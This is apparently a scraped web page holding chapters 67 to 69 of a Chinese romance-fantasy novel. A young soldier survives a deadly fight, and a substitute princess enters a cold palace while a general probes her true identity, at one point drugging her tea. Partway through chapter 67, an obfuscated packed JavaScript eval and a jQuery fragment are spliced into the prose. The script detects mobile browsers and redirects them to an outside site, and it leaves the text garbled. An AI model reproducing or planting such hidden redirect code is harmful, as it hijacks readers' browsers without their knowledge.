都是饿了几天的人,对方哪儿来的力气?莫不是吃了地牢里的老鼠?或者……他忽然冒出离谱的想法,双腿开始颤抖。 师傅却突然按住他的肩膀,低声道:“记住,活下来才是赢家。你管他吃没吃,眼下你只管一件事——杀了他,然后活下去。” 要活下去!就要硬着头皮拼了! 不等夏逸飞反应,胖子已经扑来。第一拳就砸在他脸颊上,夏逸飞眼前一黑,尝到满嘴血腥味。他本能地抱头蜷缩,第二拳重重落在肋间,仿佛听见骨头断裂的脆响。 “额啊——” “哼,就这点能耐?”胖子揪着夏逸飞的头发将他提起,膝盖狠狠顶向腹部。夏逸飞喷出一口血,余光瞥见师傅握紧的拳头——却始终没有出手相助。 第三拳、第四拳……夏逸飞像破布般被摔在泥地上。鲜血模糊了视线,他看见胖子举起块尖锐的石头,朝自己头顶砸来。 生死瞬间,夏逸飞突然想起地牢里那只逃生的老鼠,黑豆般的眼睛对他发出蔑视。他用尽最后的力气抓起把沙土扬向胖子眼睛,在对方惨叫时,抓起地上的断箭狠狠扎进其脚背。 “啊——” 惨叫声中,胖子轰然倒地拼命挣扎。本想再补上致命的一刀,夏逸飞却已经爬不起来。血色模糊实现,脑海还是恍惚韩风妹妹的脸。他躺在血泊中剧烈喘息,听见师傅的声音从很远的地方传来:“这就死了?真不禁打。” 不对,这不是师傅的声音,师傅不会说这种话。 夏逸飞努力睁开眼,校场上除了两方的人,没有别的活人。而且那声音很细腻,不似男人的粗狂,如清风化雨。 他忽然想起地牢内帮助他越狱的女人。那双神似韩风妹妹的眼睛。 会是她吗? 顷刻间他身上的血迹如雪一般融化,皮肤上的冻伤也在逐渐消退。短短几秒他身上的伤痕痕迹全部消失,不见,仿佛刚才的一幕只是所有人的错觉。 “什、什么情况?!你竟然会巫术?” 夏逸飞的后背慢慢爬上一层冷汗。 “我……我也不知道……” 下一刻,四角的火堆被风吹倒,几点火星落在周围的拒马上,顿时燃起——火光冲天,尸体堆被瞬间点燃,形成巨大的火堆。 当时所有活人的注意力都在眼下的最后一战上,根本没人注意这副新出现的面孔,格格不入的面孔是在什么时候,从哪里冒出来的。 随着那人从地牢出口缓缓走来,广场陷入一片死一般的寂静。 “女……女人?” 这种地方怎么可能有会女人出现。没有人敢上前确定,眼前的女人——是人是鬼。 看准眼前的机会,师傅抱起地上的夏逸飞迅速逃离。大火蔓延逐渐吞噬,留下的人活生生被火蛇吞噬,在哀嚎中宣告失败。 沉稳又令人安心的声音缓缓落在耳畔。 “你不能死,活下去。” 是女人的声音。一定是刚才的女人,是她再一次救了自己。 火海翻涌,夏逸飞眼睛一瞬不眨地望着那个身影,看着她逆着火光一步一步走到尸骨堆上,回眸恰好对他四目相对。 风火肆意卷起她的衣裳和臂弯间的飘带,火舌像是惧怕她一般,与她的衣角擦肩而过。从容而锐利的眉眼勾勒出凌厉的弧度,嘴唇抿成锋利的一道弧线。光影交错间,那张姣好的面容时隐时现,又始终透着不容动摇的决绝。 似九天下凡的仙姑。 为什么要救我…… 仙姑像是听见了夏逸飞的心声,勾唇一笑,用唇语说:你要是死了,我可就不能完成与那孩子的约定了。 清冷的月光缓缓洒落在师傅的身上,将他被汗浸湿的衣衫照得透亮。< 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“你现在也回不去了,听天由命吧。你也是,并不是到了东凉你就能活下去。你必须证明自己,只有有能力的人才有资格在这乱世活下去。” 他回答的云淡风轻,却刻意加重了最后三个字,像是无形的讽刺。 年仅十五岁的夏逸飞陷入沉思,不禁喃喃:“活下去……只要活下去,我就能再见到她,对吗?” “等将来东凉大举攻下赵国,你所祈愿的,都将实现。” 即使心里有许多疑问,但他还是没有犹豫的应了下来。 只要活下去,就能再见到她。 月光隐退,师傅指了指不远处敞开的城门。 城墙向两侧延伸,渐渐隐入黑暗。正中央的城门大敞着,黑黢黢的洞口仿佛一张择人而噬的嘴。师傅所指的那条路从城门下笔直地延伸进去,路面由粗糙的青石板铺就,明显看得见刀枪在上面留下的痕迹。路的尽头隐约可见一片开阔的场地。 “沿着这条路一直走,你会看见一个校场。那里是决出下一任东凉大将军的地方。消灭你的最后一个对手,你——就能活下去,你所祈愿的,都将实现。” 夏逸飞压下内心的疑惑,继续问道:“师傅你呢?” 师傅一时没答话,闭目沉思,后背靠上冰冷的城墙。 “师傅……要去做更重要的事情。” 夏逸飞转过头,借着微弱的月色仔细打量着师傅。他站在黑暗中,眼睛却很亮。那是看见希望时候的光芒,师傅的眼里……看得到未来。 自己,是否应该相信师傅的判断,沿着他给自己定下的路走下去呢?夏逸飞不知道,他苦思冥想也不明白。“家国兴亡,匹夫有责。”十五岁的少年哪里明白什么家国情仇,他不过想活下去,实现与她的诺言,完成自己和青梅定下的约定罢了。 “去吧。终有一天,我们会再见的。我希望再见到你时,我该尊称你为——夏将军。” 67. 流入宫墙 妻风亲启: 展信佳,见字如晤。 信笺与柳枝皆完好接收,许你一路奔波至边疆,身体可有吃不消?好在见你信中还能与我打趣,数月的担忧也缓和些许。信州近来天气转凉,你留给我的暖炉快要派上用场。边疆多风沙,听闻有豺狼出没,一切注意安全。 念你时提笔画了幅墨梅赠予你,只怕纸张易损,送到时还能不能看清右下角我画的方桌。想象你我坐在树下品茶闲谈的样子,未完成的部分等日后我们慢慢补全。 纸短情长,书不尽意。照顾好自己,我不在的日子莫要忘了按时吃饭,平稳心神,保重身体。 夫卿手泐 我蓦地朝紧闭的窗台看去。是风拍打发出的声音,还以为又是野猫要跳进来。 视线顺着身上的大红色礼服向下落去,最后停留在我光着的脚背上。它已经冻得没有知觉,但我却一点也不觉得冷。 柳砚清上天述职还有多久回来?颜卿收到我最后的信会是什么感想? “怎么不穿鞋?” 淡然的声音忽然从窗台的方向传来,让我下意识地背脊一直,回过神来。 “麻烦大将军下次走门好吗。” 夏逸飞坐在敞开的窗边,一只脚踩在窗台上,一如初见时那样目中无人。 “还有半个时辰出发,我来看看公主准备得如何。” 我收回视线,不再看他。 “多谢将军关心,如你所见,一切准备就绪。鞋,我待会儿再穿。” 他跳下窗台,一步一步地靠近,走到了我的跟前。 “差一只鞋,就不叫准备好。” “……” 夏逸飞就这么直勾勾地盯着我,眼神里读不出任何讯息。 “我知道了,现在就穿。” 我弯腰捡起地上的一只鞋,正准备穿上,手中的鞋被人一把夺去。我不理会他,默默捡起另一只,不出意外,又被他夺走。 我的脸色瞬间沉下,蹙眉抬头用眼神质问他。但在看到那张无表情的脸时,立马别开。 “哪儿能让公主自己穿鞋。”眼前的人蹲下身,“我来帮你穿。” “……” 他缓缓抬起我的一只脚,轻柔地将我的脚托着送进鞋里。每一步动作都极其温柔,和眼前的人一点不相称。穿好两只鞋,夏逸飞定定地看着我,终于,等我受不了他的视线与他相视,眼底的戾气一点一点褪去,嘴角也扬起了一抹弧度。 是发自内心真诚的笑。 “你笑什么?” “笑也不可以吗?” “我以为你……不会笑。” “我是人,怎么不会笑。” “你是人,为什么每次进这间屋子,都放着门不走,走窗户?” “还在纠结这个。” 我听见他似有若无地叹了口气,起身走到门口,猛地来开紧闭的门扉。门外的景象吓呆了我,四五个守卫直挺挺地站在门外,手里拿着刀枪,警惕着周围的一切动静。我好像明白了什么。 “公主殿下已准备就绪,我们出发。” 禁军列阵,铁甲森然,长戟如林,礼官肃立。 兴庆府的主街道上铺满红色的花瓣,层层叠叠。马车碾过花街,停在朱红色的城门外,城门高耸,铜钉在阴云下泛着冷光。踏入宫门,甬道两侧的宫墙足有三丈高,墙面用黄土夯筑,刷着赭红色涂料,同闻笙与我描述过的东凉建筑风格一模一样。 明明目之所及都那么真实,但繁华的一切落入我眼中,却依稀有些恍如虚幻,那么不真切。我在东凉侍女的搀扶下缓缓走下马车,踏上柔软的繁华铺成的红毯。细看,竟然是月季。 地上很美,头顶却不配合这场盛大的演出。隐隐作响的雷鸣,如同战鼓擂动,预兆着一场暴雨即将来临。陪在我身旁的史丞相不时望向天边逐渐靠近的乌云,脸上的担忧越发沉重。 我努力装出淡然的样子,踏入东凉皇宫,踏上脚下没有归途的路。 似乎什么东西落入眼里,身旁的侍女下意识惊了一下。紧接着,我也感受到了什么从头顶落下。 “下雨了?” 稀疏的雨点落下,浅灰色的地板显出雨点的痕迹,像是一幅在脚下渐渐晕开的水墨画。 下雨,仪式也不能停。 脚下的路越走越远,心里的委屈也开始翻涌。我艰难地支撑着最后一丝坚强,祈祷着雨快停下。然而,雨神听不见我的声音,只落下更密的雨。摇曳的红色绸缎被打湿,沉重的挂在悬梁上,喜庆消褪,像是被水浸透的血色。。 东凉皇宫的广场用贺兰山青石铺就,宽阔得能容下千军万马。此刻却空荡荡的,仿佛只有我孤零零站在雨中,满朝文武百官都离我那么远。 所有人屏着呼吸等待一个人的出现,那人却迟迟未到。吉时已过,燃烧的香烛只剩半截。 雨丝渐渐密了,起初只是细碎的凉意,后来便成了连绵不断的银线。凤冠上的珠帘被雨水打湿,沉甸甸地坠在眼前,将远处的宫阙殿宇割裂成模糊的影子。落下大点的雨滴,打湿了我身上一点不衬我的东凉嫁衣。 且抛开东凉皇帝这一举动是不是故意的,是赵国要找东凉和亲,人家要我们的雨中等,也只能毫无怨言地等下去。 列队的君臣中传出两声咳嗽,似有人朝身旁的官员使了个眼色,随后悄然退至檐下。紧接着,第二个、第三个……他们像被雨水冲刷的沙砾,无声无息地散开,躲进了宫门内的廊柱后。 也是,没道理所有人都站在雨里。除了我,婚礼的新娘,和亲的公主,决不能离开。雨水顺着脸颊流下,分不清是雨是泪。 史丞相站在我身侧,脸色铁青。 我转头看向他,说:“丞相也先去避雨吧。” “可公主——” “我知道,我不会走,我会一直站在这里的。” 沉默后,我听见他在我身后叹了口气,最终悄然退至檐下。 史丞相离开后,露出了他身后的人。我看见了夏逸飞。他浑身湿透,眼睫上还挂着水珠,他似乎站在那里看了我很久。 “夏将军也去避雨吧。” 他只是叹了口,语气淡漠:“岂能让公主一人站在雨里。” “我没事儿……你去避雨吧。” 我不想让他陪我淋雨,我想一个人待会儿。 夏逸飞淡淡“嗯”了一声,我暗暗庆幸,可他却迟迟没有离开。 “口头答应和实际行动没有关系。” “……” 我就知道。忽然想起在医鹿山时,柳砚清要我别做什么,也常常口头答应实际却一点不行动。但那是出于对柳砚清的感情,是发自内心的自愿。想到这,我望向夏逸飞深邃沉静的眸子。那眸子里映着雨中的我,狼狈不堪。察觉到我的视线,站在侧后方的人大步跨上前,站在我身侧与我并肩。 “大将军可以站在这里吗?” “有什么关系?仪式中断,我陪公主站会儿。” 我沉默,没再说话。 过了会儿,史丞相送来两把伞,一把给夏逸飞,一把撑在我头上。 “丞相,这样……不会失了礼数吗?” “眼下吉时已过,婚宴恐怕不会再进行下去……东凉皇帝也迟迟不现身……公主要是病了,那才是大事。这也是我……能为公主做的,最后的事了。” 我看向他,心底一暖。视线终于清晰一些,眼泪也在刚才的雨水中流得差不多。 一名侍卫匆匆跑来,靴子踏在水洼里发出啪啪声响,忽地跪在雨地里,溅起的水花溅到我的裙摆上。 “禀报大将军,陛下从宣化回兴庆途中遇雨,山路泥泞,今日……怕是无法回宫。” 听到消息,夏逸飞倏地皱起眉头,“陛下可有特地交代什么?” “没有……他说若有事,全听大将军安排。” 夏逸飞沉下气,“我知道了,退下吧。” 传信的人退下,脚步声很快被雨声淹没。夏逸飞没有说话,只是静静地凝视我。我猜他是想询问我的意见,或者看我的表情。但最后他还是默默看向我身边的史丞相,开口说了他的指令。 “史丞相也听见了。雨势渐大,保重公主的玉体要紧,我带公主回寝殿休息吧。” 史丞相为难地看向我。 “公主……” 我努力扬起笑容,让自己看起来不那么难过。尽管是假的,眼下我就是赵国前来东凉和亲的公主,无论什么风雨都该坦然面对,怎么能显露出平日里那张泫然欲泣的脸? “我没事。一切听大将军安排。” 我稍稍提起被雨水打湿变得沉重的裙摆。 “那就劳烦大将军了。” 回寝宫的路上,我发现夏逸飞的眸子始终看着某个方向,他骑在马背上,雨水浇打,目光下沉。以我现在的身份不能随口对他抛出疑问,只是轻轻放下马车勾起的帷幕,将他隔绝在外。 马车行进了许久,久到困意来袭。 侍女搀扶着我走进大门紧闭的院子,门推开时发出难听的吱呀声。有种不祥的预感涌上来……院子里杂草丛生,枯黄的草从石板缝里钻出来,被风吹得直抖。池塘早就干了不知多少年月,底下的淤泥都裂开了口子。几根枯荷杆子弯着腰,叶子黄得跟纸似的。 “最近兴庆多雨,等天晴后,便叫人搭理院子。” 夏逸飞察觉到我的心思,在我问出口前抢先回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15298354|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推门而入,室内的陈设倒比屋外有生气些。 “这里……真的给皇妃住的寝宫吗?” 因为身边只有夏逸飞一人,陪同的侍女已经被他差遣去收拾了,所以不忌惮,张口就问。 “公主不满意?要臣禀明陛下重修一座吗?” “……将军何苦揶揄我?不过问问而已。” “原来公主以为我在揶揄啊……” 他反而露出失落的表情来,“真心诚意地发问,还被公主误会,臣倍感伤心。” “……” 拙劣的演技。 他收起胡闹,掸了掸身上的雨水。 “之后的事,等陛下回宫后再做打算。今日先到此,臣不打扰公主休息,就此告退。” “多谢大将军。” 他吩咐众人也退下,自己留在最后。等旁人走远后,他回头叫住我。 “公主若是需要人陪,只管派人吩咐我。” “……不必了。”我环视起富丽堂皇却阴森至极的寝宫,“住进这深宫别院,我已不再是赵国公主。大将军也不便再唤我公主,是该改口了。” 可大将军哪儿会听我的话,充耳不闻。 “公主换身衣裳先歇息吧。” “……” 外头的雨又下大了,打在窗户上啪啪响。我看着铜镜里的自己,落一声叹息回荡在幽深的异国深宫。 夜深后,深宫的凉意更甚。 坐在床边,取出颜卿寄来的墨梅图和信笺在烛台下阅看,试图在笔墨间寻觅出哪怕细微的慰藉,和隐忍不言的希望。 可哪里还有希望。婚宴不见娶亲的人,却迎了场暴雨。住进皇宫最深处的幽宫,荒草枯院,宛如阴宅。 ……至少避开了拜堂成亲,没做对不起颜卿的事……这,算是幸运吗…… 自我安慰的话在耳边响起。心里还是有余悸,很乱。我想活下去,活着出去,回信州再见到星辰。常人不是说,只要活下去就有希望吗。 可是……临到末了,我还是忍不住哭了。哪里是安慰的话,分明是磨灭希望,割断最后一根心弦的利刃。 我侧身躺下去,把身子缩成一团,让眼泪悄无声息地流到冰冷的被褥上。 咕——咕—— 窗外传来像是猫头鹰的声音。我最怕这种长了张人脸似的动物,在医鹿山晚上碰见过,差点没把我吓死。 我立马翻身坐起来,发现远处的一扇窗户没关,火急火燎地跑过,不小心撞倒了桌边的茶壶。精致的瓷器在地上炸成碎片,我一惊,又忘了窗户蹲下身去捡。 嗖地一声,身后有什么东西落在地上。 我的手突然被拉扯,等跌入坚硬欺负的胸膛时,抬头一看,发现夏逸飞不知何时又从敞开的窗台跳进我的屋子。 “夏将军在哪儿都是放着大门不走,从窗户出入的吗?而且,现在已是亥时,堂堂大将军怎会在此?” “夜巡至此,特来关心公主。” “不必了,将军请回吧。” 他冷笑一声,自顾拽着我的手,审视起面前名为“寝宫”的牢笼。 “公主日后都生活在这深宫,有什么感想吗?” “感想?不敢想,没什么好想的。” 他理了理我穿戴整齐的衣裳,扬起一抹狂妄的笑,居高临下地俯视我。 “公主的性子果真变了呢。” 我沉下气,转头蹲下身继续整理地上的碎片。 不识趣的夏逸飞突然绕到我跟前,顿在我面前与我平视。 “怎么不叫下人来收拾?” “我让她们去休息了。” “不是吧。” 夏逸飞换了个姿势单膝跪地,替我捡起地上最后的碎片,伸手示意我把手里的一期给他。 “是不习惯叫别人服侍自己吧。” 我一时没作声,他忽而扯起一个笑,看似温柔的笑我依旧读出了杀气。 贺祈骁猜的没错,夏逸飞认出了我不是公主。一声一声的唤我公主不过是在揶揄我这个冒名顶替的。可他这么做的理由是什么?就因为我长得像他胸前有梅花印的青梅竹马? “我说过,我不认识你,也从未见过你。你也看过了,我身上没有你说的梅花印。名字不过是一个代号,世上本就有长得相似之人。” 夏逸飞起身将碎片放在桌上,转而望向窗台荒芜的庭院。 “说来你恐怕不信,这是我第二次在这深宫与你幽会。” “第二次?什么第二次?将军是在做梦吧。” 他缓缓看向我。 “没错,确实是梦。” “……” “否则一个死掉的人,怎么可能重新站在这里。” 68. 春风尔来 春来殿,哪儿有春来的样子。 名义上是东凉皇宫的一殿,其实跟前殿的辉煌毫不相干。若没有“皇宫”两个字做前缀,春来殿放在兴庆府,顶多算是“基础建设打得还不错的普通宅院”。至少种点花或者草吧,我是这么想的,首要任务是让春来殿看上去是有活人住的地方,凸显点生机。可眼下又是寒冬将至,东凉的冬季可比军营还要冷,不见得我现在种下去这植物能活到来年开春。 萧索残败的阁楼中,连风都格外凄厉。荒草遍地,支离破碎。不像是沉寂了很久的空楼,而是上一任住在这里的人里走前打砸留下的废墟。不知为何,我很想知道这座寝殿的主人是哪位嫔妃。也想知道时至今日也从未露面的东凉皇帝是个什么人。 “陛下还没回宫吗?” 圆凳上,刚取下挂在梁上破旧灯笼的阿丘,微微喘着气,扬起笑容朝我看来。挂取灯笼的长杆被搁置一旁,这姑娘非得自己站上去取,跳下圆凳时,鬓角的汗珠顺着笑容滑落。 “回公主,还没有。来人传消息说,陛下改道去了北方,归期……恐怕又得延长。” 服侍我的婢女名叫阿丘,东凉人,生得不算好但性格不错。几日的相处我们也慢慢熟络,我不习惯被人看着服侍着,多数时间她都自己做事,待我也挺好。要说唯一的缺点……就是笨笨的。 我撑着脑袋坐在较远处的椅子上,望着她上蹿下跳,默默看着被遗忘的长杆,故意使坏不提醒。不过,她能一边同我聊天一边做事已经比我强多了。 “陛下不在宫中,大小事如何定夺?” 她又拿来长杆挂上全新的灯笼,有了长杆的帮助,灯笼轻松挂上梁柱的挂钩。欣赏着自己的成功,一脸欣慰。我也欣慰,可怜的杆子没在最后才被想起来。 “大事一般会派人通知陛下,小事通常都是过问大将军。陛下不在,全听大将军的。” “大将军职权那么高?” 阿丘的神态瞬间有些惶恐局促,显然这种话题不适合问她。 “这个……奴婢不好说,公主要不亲自去问大将军吧。” 我也心知肚明,不为难她。 “罢了,不麻烦将军。” 主要原因,我不想和那位我行我素目中无人的大将军有交集。 阿丘想到了什么,声音沉下来,讷讷地看了眼庭院外的大门。 “其实……” “嗯?” 正疑惑,门口传来一个拉长的声音。 “大将军到。” 转头望去,夏逸飞翻身下马,穿着官服径直朝院内走来。他的精神状态不错,一点不像昨夜夜闯深宫还待了几个时辰的人。瞳孔中密布血丝,看样子,他刚处理完事务,身上的绯色官服衬得他斯文不少。 人靠衣裳马靠鞍,这句话一点不假。 “公主昨夜休息的可好?” 我狠狠瞪了他一眼,凄然冷笑道:“将军昨晚见过了,有没有休息好,将军不是一清二楚吗。” 时间倒回昨夜。 夏逸飞莫名其妙冒了句“否则一个死掉的人,怎么可能重新站在这里。”我本想装作一副不知所云的样子打发他离开,奈何这句话对我的吸引力太大,我的神情瞬间出卖了我。 “公主感兴趣的话,我讲给你听?” “你讲吧。” 他朝我摊开掌心,半边唇角勾起,富有深意地看着我。 我发出一声轻蔑笑意,双臂抱在胸前,“你还要钱?讲个故事还收费?” 夏逸飞一脸失落,甩了甩摊开的手,悻悻说道:“真想剖开你的脑袋或者心脏,看看我在里边儿到底是个什么形象。” 玩笑话我一如既往听出了杀意,全身心的注意力瞬间移动到脑袋和心脏的位置,眼睛死死盯着他腰间的匕首。我当真怕他一刀解剖我,死无全尸。夏逸飞顺着我的视线看向腰间,无奈一笑,用他修长灵活的手指,解开腰上的皮带,连同匕首递给我。 “做什么?” “公主不是怕我居心叵测吗,这个,你替我保管。我要是敢对公主不利,公主可以一刀杀了我。” “……” 要不要接下呢?总觉得他有所图谋。诡计多端的男人,阴险狡诈的夏逸飞,决不能掉以轻心轻易相信他。 我转开眼,推开他递过来的凶器,说:“不必。这里是东凉皇宫,我是赵国公主,将军还没白痴到这地步吧。” 夏逸飞勾唇阴涔涔的一笑,把凶器直接精准丢在离我们两人都远的一张书案上,一脸狂妄自大地说:“激将法对我没用,骂再难听也没用。既然来了,一时半会儿我是不会走的。” 转头,他又看到屋外的圆月。我也瞟了眼,不知不觉又是一月十五了。寄给颜卿的信不知送到了没,柳砚清上天述职还有多久回来? 夏逸飞收回在我身上打量的视线,问道:“要不要去房檐上赏月?” ……房檐?夏逸飞的真身莫非真的是猫?进屋走窗户,喜欢去房檐上瞎转悠。该不会吃食方面也是喜欢鱼腥海鲜? “不去。” “都说了我不去!” 话音未落,后领一紧,我已被人一手揽着腰一手提着后领飞到半空,稳稳落在春来殿最高的屋顶上。我耷拉着眼帘,生着闷气抱膝坐在房檐上,夏逸飞倒是有线,伸长双腿双手撑在身后高兴得哼起小曲儿。 太过分了!目中无人也有个度吧!越想越生气,我估计放大音量哼了一声。怒目圆睁盯着远处的山峦和雾气。 “别看了,望眼欲穿也看不到赵国的。” “……” 我气得闭上双眼,结果他又冒出一句:“公主困了?” “嗯,带我下去。” “我不困,再看会儿。” “……” 拉着我赏月,犯困也不许我睡觉赖着不走的人是你好吧。 我伸了个懒腰,在廊下怔怔坐着。阿丘已去忙别的事,夏逸飞的侍卫也只守在门外的暗处不现身,整个春来殿只有和夏逸飞两个人。打理了几日,院内的荒草基本拔光,虽也萧瑟但看不见破败心情舒畅不少。我也有了跟夏逸飞回怼斗嘴的兴致。 “所以,白日里将军也是会巡视后宫,然后凑巧来看望我吗?” 夏逸飞站在翻新的花圃边,用脚踢了下脚边的石头,漫不经心说道:“同样的理由用第二次,岂不过于拙劣。只是预感到公主有话问我,出宫前顺路来听听。” “顺路?这里离主殿那么远,实在想不通将军的顺路是怎么个顺法。” 夏逸飞倨傲而立,目光凛凛地望着我,说道:“公主要是再说无趣的话,我这就走。” 这是生气了?非常好。 我伸手做出请的姿势,微笑着回应:“不送。” “……” 夏逸飞的眸子沉得更深,闷不吭声转身离开。我心情大好,目送他。 “我晚点再来。” “……不许。” 夏逸飞根本不会理会我的话,翻身上马离开春来殿。 此刻正是午前,快要用午膳的时候。院子里弥漫着诱人的饭菜香,我坐在石桌前等待阿丘一一端上今日的菜肴。恍惚听到一墙之隔外有人匆匆跑过的动静。想不到隔壁的寝宫居然住了人,同样住在深宫,不知是什么人。 “隔壁住的哪位妃子?”我问阿丘。 “是柏夫人,比公主早来三年。” 春来殿的隔壁是秋雨殿,名字起得诗情画意,真实身份确实无人敢靠近的冷宫冷殿。 “柏夫人她为什么也住在深宫?” “因为……” 她环顾四周,刻意看了眼与秋雨殿隔开的墙壁,凑到我耳边小声说道:“因为柏夫人长得不太好看……不受陛下待见,所以来了深宫。” “……” 既然嫌弃人家长得丑,为什么还要娶进宫? 阿丘继续说:“柏夫人是先帝重臣柏大人的女儿,陛下继位后,柏大人为了跟陛下打好关系,把女儿嫁给陛下。但……公主也看到了。喜不喜欢,全凭陛下说了算。柏夫人自从加入皇宫后,便一直住在秋雨殿,从未离开。三年时间,陛下一次也没来过。我听闻,柏夫人只在宴席上见过陛下。” 同病相怜,或许该找个时间拜访一下这位邻居。 我看着为我斟茶的阿丘,问道:“那阿丘喜欢这里吗?” 阿丘倒茶的手愣了一下,小心翼翼地点头回答:“以前不喜欢,觉得太过冷清,夜深人静总觉得害怕。但遇到公主后,阿丘开始对这里产生了感情。” 阿丘的眼底涌起淡淡的笑意。 “阿丘会好生服侍公主的。” 深宫不比其他三宫六院,它坐落在东凉皇宫的最深处,朱漆斑驳,檐角生苔,连日光都显得格外吝啬。这里没有莺莺燕燕的嬉闹,只有风掠过枯枝的簌簌声,和偶尔传来的、低不可闻的叹息。 与其说是宫殿,不如说是精致的囚笼。 东凉人都知道,深宫,就是冷宫。 “这院子,可以随我心意布置吗?” “公主的寝宫,自然可随公主的心意装点设计。” “那——” 既然可以随我布置,那日梦见的蓬莱第几宫是个不错的参照物。入夜,忙活完花圃泥土的翻新工作,我叫阿丘提前准备了笔墨纸砚,替我研磨好墨汁后,我招呼她赶紧去休息,自己一个人待在房中思考的园林设计图。 “公主在绘画?” 窗台边突然出现的男人翘着腿,依靠在窗棂上眉梢眼底望着我。苍白的弦月悬在天际,从他身后渗进缕缕冷色,恰好勾勒出他有致的身形。 “将军日理万机,夜深了不休息,又来做什么?” “我说了晚点再来。” 他跳下窗台,悠然自得地朝我走来,直接走到我身后,前胸贴上我的后背,越过我的头顶实现落在我的纸上。 “在画什么?” 我不搭理他。 “园林?是想把门口的枯塘荒草变个样?” 我还是不理他。 夏逸飞恼怒,不由分说捏起我的下巴把脸转过去对着他。 “说话。” 我不耐心地回答:“是。明知故问。还有,我干嘛非得回答将军的问题。” 他轻挑眉,松开手,轻浮地说道:“也是。” 夏逸飞又走向茶桌,掀开茶壶盖子瞧了眼,指尖沾了水渍,在桌沿随意 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我不着痕迹地和夏逸飞对视了一眼,漫不经心问道:“你是江南人?” “祖籍洛城。”他放下茶壶,袖口掠过案面,“如今……自然是东凉人。” 我不屑轻笑道:“赵国人在东凉成了大将军,替东凉人打赵国?不觉得可笑吗?” “这等诛心之论,公主在我面前说说便罢,可别被外头的东凉人听见。” “我没那么傻。” “真的吗?” 夏逸飞眼底闪过一丝玩味。 我别开视线,“……算了,你的事我一点不感兴趣。反正现在,我们已是一丘之貉。家国命途,也不是仅凭一人就能改变的。” 我继续伏案作画,夏逸飞不知何时踱到我身后,俯身凑近观看。待我搁笔端详时,他忽然开口:“画完了?这是……草地?” “竹林……”我纠正道。 他若有所思地点头,又指着另一处:“这圆的是……果树?” 我忍不住蹙眉纠正:“梅花……我画的有这么抽象吗?” 他的目光继续移向画纸下方:“地上这一团黑色是?石头?” “池塘……” 我的声音已经带上了几分恼意。讨厌的话说几句话都那么讨人嫌。 夏逸飞直起身,轻叹一声,摆着头语重心长说道:“这画可不能被第三个人看到,公主的身份会暴露的。” 我提起画作仔细端详,“哪儿有这么夸张,我觉得挺好的。” “……嗯。” 他这声应答太过刻意,我横他一眼:“很丑吗?” “有那么一点吧。” “那就是很丑的意思,对吧。” “嗯。” “……” 他的回答干脆利落没有迟疑,我白了他一眼,气得将画揉成一团扔出去。他眼疾手快地接住,展开抚平:“不过胜在别具一格,留作收藏也好。” 我正准备将提笔重新作画,猛地,身子像被什么定住,脑袋嗡嗡作响,全身都在剧烈地颤抖着。 头好痛……晕得快站不稳……怎么会这样…… 摇晃着身子,手中的笔落在铺展开的宣纸上,砸出一团墨。 我有些站不稳,下意识抓住卓沿稳住,一道力量抵在腰间,将我稳稳托住。 “夏逸飞你……” 视野被彻底剥夺,温热的掌心下我紧张地吞咽,眼睫扫过他的掌心,但腰后的力量始终没有消失,反而越发收紧。能感受到跟前的人正在从上至下仔细打量着我,一寸不落。 茶汤有问题……但眼下意识到问题所在,已经来不及了。 我僵硬着站在原处,感到自己仿佛成了件没有灵魂的摆设,只有意识是自己的。 “你不该回来的。” 简洁的话语似乎包含了过多未知的信息,我微微愣了一下。想张口问话,才发现自己连声音也发不出。 “明明已经逃出去,为什么要回来?” 他到底在说什么? “但既然回来了……” 他没再说下去。蒙在我眼上的手缓缓下移,露出我的双眼捂住我的鼻唇。深邃的眼眸近在咫尺,只差一指的距离,他的额头就能贴上我的,我甚至在那双黝黑的眸子里看清我的脸。 “你好像误会我把你认成分离多年的青梅了,对吗?” “……” “我夏逸飞怎么可能认错人。” 他说着,目光似有若无地掠过我的胸前。 “如同你所说的,世上本就有过分相似的两个人,不管是名字、长相、还是身上的印记。第一次把你认错,情有可原。但这是第二次,我不会认错。” 他俯下身,从领口掀开我的衣服,灼热的指尖点上胸前的皮肤,尽管那里白皙一片,但我猜,他说的梅花印应该是在那个位置。 “你不叫赵清漪,也不叫韩风。不是赵国的公主,也不是我夏逸飞的青梅,你是——” 69. 深院空帏 “你不叫赵清漪,也不叫韩风。不是赵国的公主,也不是我夏逸飞的青梅,你是——” 我强撑着案几,身体的沉重感不断加深。眩晕感如潮水般涌来,额头汗珠密布,却在模糊的视线中看见他唇角微扬。 他竟然……笑了。 我气息紊乱地开口道:“夏逸飞,你讨厌我吗?” 夏逸飞不悦地挑眉反问道:“公主何出此言?” “下毒、试探、步步紧逼……是想折磨我,然后逼死我吗?” 夏逸飞,用余光瞄我。 “我不讨厌你,只是看不惯你把一切都忘了,然后让一切回归起点,就跟什么也没发生过一样。呵,我还挺佩服你们仙人的,掌控一切,随心所欲。把凡人的性命当儿戏,犯错便重来,转身就遗忘。死了就死了,身边的人只能眼睁睁看着她死。那种无能为力感,你们神仙永远不会体会到……” 夏逸飞话到一半没再说下文,凝眉垂下眼眸。 “算了。” 怎么能算了,我猛地使出全身最后的力气一把抓住他的手腕,指甲几乎嵌入他的皮肉,咬着下唇坚定地道出我的结论:“你认识我。” 沙沙沙,春来殿的枯草枯枝随风声起——皎皎月光被吹来的云雾遮掩,鬓边的碎发拂动摩挲我的侧脸,夏逸飞严肃的脸半隐半现。 夏逸飞突然嗤笑道:“公主说的什么话,我当然认识你。” 他明知我不是指公主的身份。 我凝视着他游刃有余的模样,早已习惯这般打太极的对话方式,不紧不慢继续追问道:“你知道我的真实身份,你也知道我的名字,甚至知道我死过一次,对不对?” “当然。” “告诉我。” 他突然抬眸,眼中闪过一丝锐利,“条件。告诉你,我能得到什么。” “……你想要什么?” “暂时没想好,公主先欠着吧。”温热的气息拂过耳畔,“放心,不会太辛苦公主的。” 我沉思片刻。 “行,我答应你,你可以告诉我了。” 